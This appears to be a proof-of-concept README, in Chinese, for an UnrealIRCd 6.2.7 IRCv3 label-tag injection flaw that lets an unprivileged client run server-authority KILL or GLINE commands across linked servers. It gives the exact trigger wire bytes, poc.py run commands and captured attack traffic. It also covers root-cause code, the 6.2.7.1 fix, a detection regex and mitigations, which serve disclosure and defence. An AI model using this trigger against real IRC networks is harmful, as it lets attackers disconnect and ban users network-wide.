
CVE-2026-114713 的 POC——UnrealIRCd 中的 IRCv3 标签注入,可将无特权客户端消息提升为链接服务器网络上的服务器到服务器命令权限。包含存在漏洞的 6.2.7 与已修复的 6.2.7.1 对照。
labeled-response 模块会将客户端提供的 IRCv3 "label" 消息标签原样回显到回复中,且未做转义。包含换行符的 label 值会以标准 IRCv3 标签转义形式 \n 到达,服务器将其反转义为真实的 LF,然后以原始形式写回。当带标签的请求被路由到另一台服务器时(双参数 WHOIS <server> <nick> 正是如此),回复会携带该原始 LF 跨越服务器到服务器的链路。接收端服务器将一行解析为两行,而第二行——攻击者选择的文本,粘附在回复之后——会作为来自其可信对端的命令执行。在 IRC 中,来自已链接服务器的消息会跳过应用于客户端的权限检查,因此普通用户只需一条客户端消息即可在整个网络范围内执行 KILL、GLINE 以及其他仅限服务器/IRCOp 的命令。已在 6.2.7.1 和热补丁 bundle-20261107 中修复;2026-11-13 被列入 KEV,并已在野利用。
bundle-20261107(无需重启)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)启动实验环境(在 127.0.0.1:6667/6668 上运行两台已链接的易受攻击服务器,在 6.2.7.1 上使用相同拓扑,另加一个单服务器对照):
./setup/build-lab.sh # builds 6.2.7 + 6.2.7.1 from the official tarballs
./setup/boot-lab.sh # boots hub, leaf, single, fixed-hub, fixed-leaf
# or: docker compose up -d vuln-hub vuln-leaf vuln-single fixed-hub fixed-leaf
触发漏洞(攻击者和受害者在叶节点上,WHOIS 目标在中心节点上):
python3 poc.py --host 127.0.0.1 --port 6668 --hub-host 127.0.0.1 --hub-port 6667
--host/--port 是攻击者和受害者连接的叶节点;--hub-host/--hub-port
是持有 WHOIS 目标的远程服务器;--whois-server 是路由 WHOIS 中使用的名称。对照:将相同输入针对已修复网络
(--port 6678 --hub-port 6677)以及针对单台服务器
(--host 127.0.0.1 --port 6687 --single --whois-server single.example.net)运行。
请仅将此用于你拥有的 IRC 服务器。
针对已链接的易受攻击网络运行触发(原始捕获:
evidence/01-vulnerable-linked-network-trigger.txt)。首先是预检查——直接发送相同的 KILL 会被拒绝,证明攻击者没有操作员权限:
--- atk(attacker) raw traffic ---
KILL vic :direct-attempt
:leaf.example.net 481 atk :Permission Denied- You do not have the correct IRC operator privileges
然后是一条带标签的行(标签转义按线上发送形式显示):
[*] trigger line (wire bytes): b'@label=p\\nKILL\\svic\\s:CVE-2026-114713 WHOIS hub.example.net wt\r\n'
受害者的套接字——被一条归属于远程 SERVER 的命令杀死:
--- vic(kill-victim) raw traffic ---
:hub.example.net KILL vic :CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response
ERROR :Closing Link: vic[localhost] (Killed by hub.example.net (CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response))
[*] verdict
[!] VULNERABLE: victim 'vic' was killed by a command that arrived
attributed to the remote SERVER - authority no IRC user has.
受害者主机上的服务器日志将凶手记录为服务器
(evidence/04-server-log-detection.txt):
leaf.example.net kill.KILL_COMMAND info: Client killed: vic!vic@localhost [by: hub.example.net] (CVE-2026-114713 ...)
对照 A——在修复后的 6.2.7.1 链接网络上使用相同输入
(evidence/02-control-fixed-6.2.7.1-linked-network.txt):标签值
包含换行符,因此修复会拒绝整个标签;WHOIS 数字
以普通无标签行的形式返回,受害者保持在线:
:hub.example.net 311 atk wt wt Clk-BF919CEF * wt
:hub.example.net 318 atk wt :End of /WHOIS list.
[=] NO server-authority execution observed (victim still online).
对照 B——在单个存在漏洞的服务器上使用相同输入,无链接
(evidence/03-control-single-server-precondition.txt):未转义的标签
只会被写回攻击者自己的套接字;不会执行任何内容:
[=] CONTROL HOLDS (single-server): no server-authority command executed.
src/modules/labeled-response.c 中有三个部分相互配合:
标签值在接收时被反转义(message_tag_unescape() 位于
src/modules/message-tags.c 中,将 IRCv3 转义序列 \n \r \s \: 映射为
真实的 LF/CR/空格/分号)。客户端从不发送原始换行符;
服务器用两个可打印字节制造出一个。
在 6.2.7 中,标签验证器接受携带 cap 的客户端发送的任何内容,最多 64 字节——对值没有任何字符检查:
int labeled_response_mtag_is_ok(Client *client, const char *name, const char *value)
{
if (BadPtr(value))
return 0;
if (IsServer(client))
return 1;
...
if (strlen(value) <= 64)
return 1;
随后该模块使用原始
snprintf 调用将存储的值格式化到回复行中——gen_start_batch() 构建 "@label=%s :%s BATCH +%s labeled-response", lr_post_command() builds "@label=%s%s%s"——绕过了
message_tag_escape(),而其他所有出站路径都使用它。对于路由到远程带标签客户端的回复,
lr_packet() 会将该缓冲区写入
服务器链接,因此标签内的 LF 会在受信任的对端处拆分数据流:第一行是无害的短
@label=p 标签段,第二行是
攻击者追加的任何内容,作为来自链接服务器的命令执行。双参数 WHOIS 是最干净的载体,因为它会转发
到目标服务器,并保证带标签的回复通过链接返回。
6.2.7.1 的修复正是缺失的检查(发布版的第一个 diff 块):
if (strpbrk(value, " ;\\\r\n"))
return 0;
任何包含空格、分号、反斜杠、CR 或 LF 的标签都会在 被存储之前被丢弃,因此不会有无法转义的字节到达回复格式化器。
strlen(value) <= 64 限制,反转义后 LF 计为一个字节)。注入的命令与携带它的回复共享同一行,因此原始回复的尾部会落入 KILL 原因中;原因之前的定位参数可以正常解析。TKL + G ... 尾部的相同注入会设置全网范围的封禁。kill.KILL_COMMAND / TKL 日志行中服务器名称的 KILL/GLINE 事件绝不是合法的用户操作(用户发起的 KILL 会返回 481 Permission denied——PoC 中的预检查已证明这一点)。持续利用还会表现为带标签的回复,其标签段在接收端解析失败。SPAMFILTER add -regex T block - Invalid_label ^label=(?![^\r\n;\x20]*\z)。
对于已停止支持的 5.x,唯一的变通方案是在每台服务器上执行 blacklist-module "labeled-response"; 并完全重启(仅 rehash 不够)。6.x:升级到 6.2.7.1 或执行 ./unrealircd hot-patch bundle-20261107,然后用 ./unrealircd module-status | grep labeled-response 验证(仅 5.0 = 未打补丁)。evidence/ 中的所有抓包均针对由官方 6.2.7 和 6.2.7.1 tarball 构建的 127.0.0.1 实验实例采集;日志中的服务器名称和主机是实验保留名称,并非真实系统。